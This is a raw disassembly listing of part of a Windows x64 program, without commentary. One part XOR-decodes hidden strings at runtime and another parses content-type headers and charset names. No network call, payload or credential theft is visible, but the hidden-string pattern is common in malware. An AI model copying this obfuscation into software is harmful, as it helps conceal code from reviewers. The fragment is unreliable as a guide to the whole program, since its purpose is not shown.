mov ecx, 0x11
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x1401097b0]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x44
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], rsi
mov qword [rsp + 0x870], rsi
xor ecx, ecx
cmp rcx, 0x11
je 0x14001a0c3
mov dl, byte [rdi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x14001a0b2
lea rsi, [rsp + 0x450]
lea rdx, [rsp + 0x860]
mov rcx, rsi
call fcn.140006f2f
cmp byte [rsi + 0x20], 2
jne case.0x14001c076.10
mov rbx, qword [rsp + 0x450]
mov r14, qword [rsp + 0x458]
mov rsi, qword [rsp + 0x460]
mov edx, 0x11
mov rcx, rdi
call fcn.140025ee7
mov rcx, rsi
call fcn.1400b14fe
mov r12, rdx
mov qword [rsp + 0xa70], rax
mov rcx, rax
mov rdx, rbx
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov rcx, rbx
mov rdx, r14
call fcn.140025ee7
mov ebx, 0x33
mov ecx, 0x33
mov edx, 1
call fcn.140006f0f
mov rdi, rax
movaps xmm0, xmmword [0x1401097c0]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x1401097d0]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [0x1401097e0]
movups xmmword [rax + 0x20], xmm0
mov word [rax + 0x30], 0xcec1
mov byte [rax + 0x32], 0xfd
mov ecx, 0x33
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x1401097f0]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x140109800]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [0x140109810]
movups xmmword [rax + 0x20], xmm0
mov word [rax + 0x30], 0xecf0
mov byte [rax + 0x32], pe_nt_image_headers64
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], rbx
mov qword [rsp + 0x870], rbx
xor ecx, ecx
cmp rcx, 0x33
je 0x14001a1db
mov dl, byte [rdi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x14001a1ca
mov qword [rsp + 0xa60], r12
lea rbx, [rsp + 0x450]
lea rdx, [rsp + 0x860]
mov rcx, rbx
call fcn.140006f2f
cmp byte [rbx + 0x20], 2
jne case.0x14001c076.10
lea r12, [rsp + 0x450]
mov rbx, qword [r12]
mov r14, qword [r12 + 8]
mov r13, qword [r12 + 0x10]
mov edx, 0x33
mov rcx, rdi
call fcn.140025ee7
mov rcx, r12
mov rdx, rbx
mov r8, r13
call fcn.1400aebfc
cmp byte [r12], 6
je case.0x14001c076.10
lea rdi, [rsp + 0x450]
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0xa90], xmm1
movaps xmmword [rsp + 0xa80], xmm0
mov rcx, rbx
mov rdx, r14
call fcn.140025ee7
mov qword [rsp + 0x20], rsi
lea r8, [0x14013bf48]
lea rdx, [rsp + 0xa48]
mov rcx, rdi
mov r9, qword [rsp + 0xa70]
call fcn.1400110b9
lea rsi, [rsp + 0x860]
mov rcx, rsi
mov rdx, rdi
call fcn.1400a6024
cmp dword [rsi], 3
je 0x14001c412
lea rsi, [rsp + 0xe68]
lea rdi, [rsp + 0x860]
mov r8d, 0xc0
mov rcx, rsi
mov rdx, rdi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x290]
mov r8d, 0x98
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov esi, dword [rsi + 0xa0]
cmp esi, 0x3b9aca00
jne 0x14001a2fa
mov dword [rsp + 0x70], 0x3b9aca00
jmp 0x14001a31c
mov rdi, qword [rsp + 0xf00]
call fcn.1400b45fc
mov rcx, rax
mov r8, rdi
mov r9d, esi
call fcn.1400b7b5a
mov rbx, rax
mov dword [rsp + 0x70], edx
call fcn.1400b3499
mov rcx, rax
call fcn.1400a5bfc
add rax, 0x10
lea rcx, [rsp + 0xa38]
mov qword [rcx], r15
mov qword [rcx + 8], rax
lea rax, [rsp + 0x400]
mov qword [rax], rcx
lea rsi, [rsp + 0x450]
lea rdx, [rsp + 0x290]
mov r8d, 0x98
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rax, str.utf_8
mov qword [rsi + 0x98], rax
mov qword [rsi + 0xa0], 5
lea rax, [rsp + 0x4f8]
mov byte [rax + 0x2e8], 0
lea r12, [rsp + 0x5f8]
xorps xmm8, xmm8
lea r14, [0x140138ec8]
lea r13, str.l1l2l3l4l5l6l9866mackoigbkbig5utf8koi8sjisucs_2ms932cp866cp819asciix_gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_uhebrewtis_620ksc5601gb_2312dos_874cn_big5unicodechineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599cyrillicutf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
mov ebp, 0xff
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x88], rax
xor eax, eax
lea r15, [rsp + 0xc0]
mov qword [rsp + 0x78], rbx
test al, al
je 0x14001a419
movzx eax, al
cmp eax, 3
jne case.0x14001c076.10
movzx eax, byte [rsp + 0x7d8]
test eax, eax
je 0x14001b708
cmp eax, 3
jne case.0x14001c076.10
movzx eax, byte [rsp + 0x791]
lea rcx, [0x140109bd0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [rsp + 0x728]
jmp 0x14001b77a
mov r8d, 0x98
lea rsi, [rsp + 0x4f8]
mov rcx, rsi
lea rdx, [rsp + 0x450]
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x4e8]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x4f0]
mov qword [rsp + 0xa8], rax
movups xmm0, xmmword [0x1401648f8]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [0x1401648e8]
movaps xmmword [rsp + 0xc0], xmm0
mov rcx, rsi
mov rdx, r15
call fcn.14004018b
test rax, rax
je 0x14001a4f5
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
call fcn.14004e1e9
test rax, rax
je 0x14001a4f5
mov rdi, rax
mov rsi, rdx
mov r9d, 3
mov rcx, rax
lea r8, [0x1401646e8]
call fcn.1400b4ce3
test al, al
je 0x14001a508
movups xmm0, xmmword [0x140160428]
movups xmmword [rsp + 0x1af], xmm0
movups xmm0, xmmword [0x140160419]
movaps xmmword [rsp + 0x1a0], xmm0
mov r11d, 2
mov r10d, 1
xor eax, eax
xor ecx, ecx
xor r9d, r9d
xor edi, edi
xor esi, esi
xor r8d, r8d
xor ebx, ebx
jmp 0x14001a6e8
mov qword [rsp + 0x590], 2
xor edi, edi
jmp 0x14001a927
mov rax, rdi
add rax, rsi
mov qword [rsp + 0x820], rdi
mov qword [rsp + 0x828], rax
and qword [rsp + 0x830], 0
lea rbx, [rsp + 0x820]
lea r14, [0x140160440]
mov rcx, r15
mov rdx, rbx
call fcn.14005afa6
cmp qword [rsp + 0xc0], 0
je 0x14001a629
movzx eax, byte [rsp + 0xd0]
cmp byte [rax + r14], 0
jne 0x14001a536
mov r12, qword [rsp + 0xc8]
mov r14b, 3
cmp al, 0x2f
jne 0x14001a636
test r12, r12
je 0x14001a636
lea r14, [r12 + 1]
xor ebx, ebx
lea rcx, [rsp + 0x410]
lea rdx, [rsp + 0x820]
call fcn.14005afa6
cmp qword [rsp + 0x410], 0
je 0x14001aa75
movzx edx, byte [rsp + 0x420]
cmp edx, 0x2b
je 0x14001a5ca
cmp edx, 0x3b
jne 0x14001a5dc
mov r13, qword [rsp + 0x418]
cmp r13, r14
jbe 0x14001a5dc
jmp 0x14001ab48
mov rax, qword [rsp + 0x418]
mov ecx, 1
cmp rax, r14
ja 0x14001a5f3
lea rax, [0x140160440]
cmp byte [rdx + rax], 0
mov rcx, rbx
mov rax, rbp
je 0x14001ab1f
mov rbx, rcx
mov rbp, rax
lea r13, str.l1l2l3l4l5l6l9866mackoigbkbig5utf8koi8sjisucs_2ms932cp866cp819asciix_gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_uhebrewtis_620ksc5601gb_2312dos_874cn_big5unicodechineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599cyrillicutf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
jmp 0x14001a582
mov rdx, qword [rsp + 0x798]
jmp 0x14001b46b
xor r14d, r14d
mov rcx, qword [rsp + 0x80]
jmp 0x14001a641
mov rcx, r12
mov qword [rsp + 0x88], rax
mov eax, 2
mov r12, rcx
mov rsi, qword [rsp + 0xb0]
mov rdi, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x210]
mov rbx, rax
mov qword [rsp + 0x80], r12
mov r9, qword [rsp + 0xb8]
mov rax, qword [rsp + 0x98]
cmp rbx, 2
jne 0x14001a6cd
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xb8], r9
mov qword [rsp + 0x198], r8
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0x590], 2
mov qword [rsp + 0x210], rcx
xor edi, edi
jmp 0x14001a91b
mov r10, rcx
mov rdx, qword [rsp + 0x288]
mov rcx, qword [rsp + 0x88]
mov r11, qword [rsp + 0x80]
mov qword [rsp + 0x210], r10
mov qword [rsp + 0x198], r8
movups xmm0, xmmword [rsp + 0x1af]
movups xmmword [rsp + 0x15f], xmm0
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0x150], xmm0
mov qword [rsp + 0x98], rax
shl rax, 0x10
mov qword [rsp + 0x88], rcx
movzx ecx, cl
shl rcx, 8
or rcx, rax
movzx eax, r14b
or rax, rcx
mov qword [rsp + 0x590], rbx
mov qword [rsp + 0x598], rax
mov qword [rsp + 0x5a0], r11
mov qword [rsp + 0x288], rdx
mov qword [rsp + 0x5a8], rdx
mov qword [rsp + 0x5b0], r8
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0x5b8], rsi
mov qword [rsp + 0x5c0], rdi
mov qword [rsp + 0xb8], r9
mov byte [rsp + 0x5c8], r9b
movups xmm0, xmmword [rsp + 0x15f]
lea rax, [rsp + 0x450]
movups xmmword [rax + 0x188], xmm0
movaps xmm0, xmmword [rsp + 0x150]
movups xmmword [rax + 0x179], xmm0
mov qword [rsp + 0x5e8], r10
mov qword [rsp + 0xa0], rdi
shl rdi, 5
add rdi, r8
mov qword [rsp + 0x68], rdi
mov rbx, r8
mov qword [rsp + 0x80], r11
mov r14, r11
test r14, r14
je 0x14001a88b
cmp r14, 1
jne 0x14001a6c6
cmp qword [rsp + 0x68], rbx
je 0x14001a6c6
lea rax, [rbx + 0x20]
mov qword [rsp + 0x60], rax
mov rsi, qword [rbx]
mov rdi, qword [rbx + 8]
mov r14, qword [rbx + 0x10]
mov rbx, qword [rbx + 0x18]
lea r15, [rsp + 0x5c8]
mov rcx, r15
call fcn.14005b15c
mov rcx, rax
mov r8, rsi
mov r9, rdi
call fcn.1400a58ac
mov r12, rax
mov r13, rdx
mov rcx, r15
call fcn.14005b15c
mov rcx, rax
mov r8, r14
mov r9, rbx
call fcn.1400a58ac
mov rdi, rax
mov rsi, rdx
mov r9d, 7
mov rcx, r12
mov rdx, r13
lea rbp, [0x140164262]
mov r8, rbp
call fcn.14005450a
mov r14d, 1
mov rbx, qword [rsp + 0x60]
lea r15, [rsp + 0xc0]
jmp 0x14001a8af
mov al, 1
mov esi, 5
mov r14d, 2
mov r13d, 7
lea rbp, [0x140164262]
mov r12, rbp
lea rdi, str.utf_8
mov qword [rsp + 0xc0], r12
mov qword [rsp + 0xc8], r13
lea rcx, [rsp + 0xd0]
and dword [rcx + 4], 0
and dword [rcx + 1], 0
mov byte [rsp + 0xd0], 1
mov qword [rsp + 0xd8], rdi
mov qword [rsp + 0xe0], rsi
mov byte [rsp + 0xe8], al
and dword [rcx + 0x1c], 0
and dword [rcx + 0x19], 0
mov r8d, 7
mov rcx, r15
mov rdx, rbp
call fcn.14005b0b7
test al, al
lea r13, str.l1l2l3l4l5l6l9866mackoigbkbig5utf8koi8sjisucs_2ms932cp866cp819asciix_gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_uhebrewtis_620ksc5601gb_2312dos_874cn_big5unicodechineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599cyrillicutf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
mov ebp, 0xff
je 0x14001a7e5
lea r14, [0x140138ec8]
mov rbx, qword [rsp + 0x78]
test rdi, rdi
mov r11, qword [rsp + 0x90]
cmovne r11, rdi
cmove rsi, qword [rsp + 0xa8]
movaps xmmword [rsp + 0xc0], xmm8
and dword [rsp + 0xcf], 0
lea rdx, [r11 + rsi]
inc r11
movabs r10, 0x100003600
test rsi, rsi
je 0x14001b6d1
movzx eax, byte [r11 - 1]
cmp rax, 0x3a
ja 0x14001a993
bt r10, rax
jae 0x14001a983
inc r11
dec rsi
jmp 0x14001a961
movabs rcx, 0x400600000000000
bt rcx, rax
jb 0x14001a9a7
cmp eax, 0x5f
je 0x14001a9a7
lea ecx, [rax - 0x41]
cmp cl, 0x1a
jae 0x14001aa58
add eax, 0x20
mov byte [rsp + 0xc0], al
mov eax, 1
xor ecx, ecx
cmp r11, rdx
je 0x14001aa50
movzx r8d, byte [r11]
cmp r8, 0x3a
ja 0x14001a9e2
movabs r9, 0x400600000000000
bt r9, r8
jb 0x14001a9e8
bt r10, r8
jb 0x14001b7b5
cmp r8d, 0x5f
jne 0x14001aa0f
cmp rax, 0x13
je 0x14001b6d1
cmp rax, 0x12
ja case.0x14001c076.10
mov byte [rsp + rax + 0xc0], r8b
inc r11
inc rax
inc rcx
jmp 0x14001a9b5
lea r9d, [r8 - 0x41]
cmp r9b, 0x1a
jae 0x14001aa37
cmp rax, 0x13
je 0x14001b6d1
jae case.0x14001c076.10
add r8d, 0x20
mov byte [rsp + rax + 0xc0], r8b
jmp 0x14001aa04
lea r9d, [r8 - 0x61]
cmp r9b, 0x1a
jb 0x14001a9e8
lea r9d, [r8 - 0x3a]
cmp r9b, 0xf6
jae 0x14001a9e8
jmp 0x14001b6d1
mov r11, rdx
jmp 0x14001b7b8
lea ecx, [rax - 0x61]
cmp cl, 0x1a
jb 0x14001a9a7
lea ecx, [rax - 0x30]
cmp cl, 0xa
jae 0x14001b6d1
jmp 0x14001a9a7
lea rcx, [rsp + 0x230]
mov rdx, rdi
mov r8, rsi
call fcn.14005afe4
mov rax, qword [rsp + 0x240]
lea rcx, [rsp + 0xd0]
mov qword [rcx + 7], rax
movups xmm0, xmmword [rsp + 0x230]
movups xmmword [rcx - 9], xmm0
movups xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0xcf]
movaps xmmword [rsp + 0x1a0], xmm0
movups xmmword [rsp + 0x1af], xmm1
mov eax, ebp
shr eax, 8
mov qword [rsp + 0x88], rax
mov rax, rbp
shr rax, 0x10
mov qword [rsp + 0x98], rax
mov al, 1
mov qword [rsp + 0xb8], rax
mov rax, rbx
mov rcx, r12
mov r12d, 2
mov r14d, ebp
mov ebp, 0xff
mov rsi, qword [rsp + 0xb0]
mov rdi, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x198]
jmp 0x14001a669
mov qword [rsp + 0x88], rdx
mov r14b, 3
mov eax, 2
mov r12, qword [rsp + 0x418]
lea r13, str.l1l2l3l4l5l6l9866mackoigbkbig5utf8koi8sjisucs_2ms932cp866cp819asciix_gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_uhebrewtis_620ksc5601gb_2312dos_874cn_big5unicodechineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599cyrillicutf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
mov ebp, 0xff
jmp 0x14001a649
lea rcx, [r13 + 1]
mov qword [rsp + 0xc0], 2
lea rax, [r13 + 2]
mov qword [rsp + 0x80], rax
lea r14, [rsp + 0x820]
cmp rcx, rsi
jae 0x14001b084
mov qword [rsp + 0x68], rcx
lea rcx, [rsp + 0x230]
mov rdx, r14
call fcn.14005afa6
cmp qword [rsp + 0x230], 0
je 0x14001b01e
movzx ecx, byte [rsp + 0x240]
cmp rcx, 0x20
je 0x14001aca0
lea rax, [0x140160440]
cmp byte [rcx + rax], 0
jne 0x14001ab7a
mov rax, qword [rsp + 0x238]
mov r14b, 3
cmp cl, 0x3d
jne 0x14001b1c5
cmp rax, qword [rsp + 0x68]
jbe 0x14001b1c5
mov qword [rsp + 0x190], rax
inc rax
mov qword [rsp + 0x60], rax
xor r15d, r15d
lea r14, [rsp + 0x820]
lea rcx, [rsp + 0x230]
mov rdx, r14
test r15b, 1
jne 0x14001ac5a
call fcn.14005afa6
cmp qword [rsp + 0x230], 0
je 0x14001afde
movzx ecx, byte [rsp + 0x240]
cmp rcx, 0x22
jne 0x14001ac48
mov r9, qword [rsp + 0x238]
mov rax, qword [rsp + 0x60]
cmp r9, rax
jne 0x14001b3c3
inc rax
mov qword [rsp + 0x60], rax
mov r15b, 1
jmp 0x14001abf2
lea rax, [0x140160440]
cmp byte [rcx + rax], 0
jne 0x14001abf2
jmp 0x14001aff1
call fcn.14005afa6
cmp qword [rsp + 0x230], 0
je 0x14001b02b
mov al, byte [rsp + 0x240]
mov rcx, qword [rsp + 0x238]
cmp al, 0x22
jne 0x14001ac88
cmp rcx, qword [rsp + 0x60]
ja 0x14001acbe
mov r14b, 3
cmp al, 0x20
jb 0x14001b02e
cmp al, 0x7f
jne 0x14001abea
jmp 0x14001b02e
mov rax, qword [rsp + 0x238]
mov rcx, qword [rsp + 0x68]
cmp rax, rcx
jne 0x14001b1c0
inc rcx
jmp 0x14001ab6c
mov qword [rsp + 0x98], rcx
lea r15, [rsp + 0xc0]
lea rcx, [rsp + 0x230]
mov rdx, r14
call fcn.14005afa6
cmp qword [rsp + 0x230], 0
je 0x14001ad0c
movzx eax, byte [rsp + 0x240]
cmp eax, 0x20
je 0x14001acce
cmp eax, 0x3b
jne 0x14001b06f
mov r10, qword [rsp + 0x238]
inc r10
jmp 0x14001ad0f
mov r10, rsi
mov r9, qword [rsp + 0x98]
mov rax, qword [rsp + 0xc0]
test rax, rax
je 0x14001adbf
cmp eax, 1
jne 0x14001aeae
mov rdx, qword [rsp + 0xe0]
cmp rdx, qword [rsp + 0xd8]
jne 0x14001ad78
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0x98], r9
mov qword [rsp + 0x88], r10
call fcn.1400bc64e
mov r10, qword [rsp + 0x88]
mov r9, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xd0]
mov rcx, rdx
shl rcx, 5
mov r8, qword [rsp + 0x68]
mov qword [rax + rcx], r8
mov r8, qword [rsp + 0x190]
mov qword [rax + rcx + 8], r8
mov r8, qword [rsp + 0x60]
mov qword [rax + rcx + 0x10], r8
mov qword [rax + rcx + 0x18], r9
inc rdx
mov qword [rsp + 0xe0], rdx
mov rcx, r10
jmp 0x14001ab6c
mov r15, qword [rsp + 0xc8]
mov qword [rsp + 0x98], r12
mov eax, 2
lea r14, [r15 + rax]
lea rax, [r15 + 9]
mov qword [rsp + 0x3e0], rax
lea rax, [r15 + 0xa]
mov qword [rsp + 0x3e8], rax
add r15, 0xf
mov ecx, 0x40
mov r12, r9
mov qword [rsp + 0x88], r10
call fcn.140026a75
mov rcx, rax
mov qword [rax], r14
lea r14, [rsp + 0x820]
mov rax, qword [rsp + 0x3e0]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0x3e8]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r15
lea r15, [rsp + 0xc0]
mov rax, qword [rsp + 0x68]
mov qword [rcx + 0x20], rax
mov rax, qword [rsp + 0x190]
mov qword [rcx + 0x28], rax
mov rax, qword [rsp + 0x60]
mov qword [rcx + 0x30], rax
mov qword [rcx + 0x38], r12
mov r12, rcx
mov rcx, r15
call fcn.14005b036
mov qword [rsp + 0xc0], 1
mov qword [rsp + 0xc8], r13
mov qword [rsp + 0xd0], r12
mov eax, 2
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rax
mov r12, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x88]
jmp 0x14001ab6c
mov qword [rsp + 0x88], r10
mov qword [rsp + 0x98], r9
mov rax, qword [rsp + 0x68]
cmp qword [rsp + 0x80], rax
jne 0x14001af56
mov rcx, rdi
mov rdx, rsi
mov r8, qword [rsp + 0x80]
mov r9, qword [rsp + 0x190]
call fcn.1400a58ac
mov r8, rdx
lea rcx, [0x140164270]
mov rdx, rax
call fcn.14005b04c
test al, al
je 0x14001af56
mov rcx, rdi
mov rdx, rsi
mov r8, qword [rsp + 0x60]
mov r9, qword [rsp + 0x98]
call fcn.1400a58ac
mov r8, rdx
lea rcx, str.utf_8
mov rdx, rax
call fcn.14005b04c
test al, al
je 0x14001af56
mov rcx, r15
call fcn.14005b036
and qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], r13
mov rcx, qword [rsp + 0x88]
jmp 0x14001ab6c
mov ecx, 0x20
call fcn.140026a75
mov rcx, rax
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x190]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0x60]
mov qword [rcx + 0x10], rax
mov rax, qword [rsp + 0x98]
mov qword [rcx + 0x18], rax
mov rcx, r15
